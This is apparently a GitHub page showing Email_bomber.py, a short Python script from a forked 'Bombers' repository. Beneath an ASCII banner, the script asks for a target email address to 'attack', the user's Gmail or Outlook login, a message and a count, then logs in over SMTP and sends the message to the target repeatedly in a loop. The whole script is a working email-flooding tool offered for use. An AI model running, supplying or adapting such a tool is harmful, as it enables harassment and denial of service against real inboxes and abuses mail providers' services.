forked from bhattsameer/Bombers
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Email_bomber.py
35 lines (30 loc) · 1.7 KB
/
Email_bomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import smtplib
import time
print ("\033[1;31m_________ __ __ ____ ________ __ \033[1;m")
print ("\033[1;34m|########| |##\ /##| /####\ |########| |##| By D3XBugg3R \033[1;m")
print ("\033[1;34m|##|____ |###\ __ /###| /##/\##\ |##| |##| With <3 of T34M GCA \033[1;m")
print ("\033[1;34m|########| |##| |##| |##| /########\ |##| |##| ____ __ ____ __ ___ \033[1;m")
print ("\033[1;31m|##|_____ |##| |##| /##/ \##\ __|##|__ |##|_______ |__| | | |\/| |__| |__ |__| \033[1;m")
print ("\033[1;31m|########| |##| |##| /##/ \##\ |########| |##########| _|__| |__| | | _|__| |__ | \ \033[1;m")
try:
bomb_email = input("Enter Email address on Whom you want to perfom this attack: ")
email = input("Enter your gmail_address:")
password = input("Enter your gmail_password:")
message = input("Enter Message:")
counter = int(input("How many message you want to send?:"))
# gmail of outlook
s_ = input('Select the service provider (Gmail / Outlook): ').lower()
if s_ == "gmail":
mail = smtplib.SMTP('smtp.gmail.com',587)
elif s_ == "outlook":
mail = smtplib.SMTP('smtp.office365.com',587)
for x in range(0,counter):
print("Number of Message Sent : ", x+1)
mail.ehlo()
mail.starttls()
mail.login(email,password)
mail.sendmail(email,bomb_email,message)
time.sleep(1)
mail.close()
except Exception as e:
print("Something is wrong, please Re-try Again with Valid input.")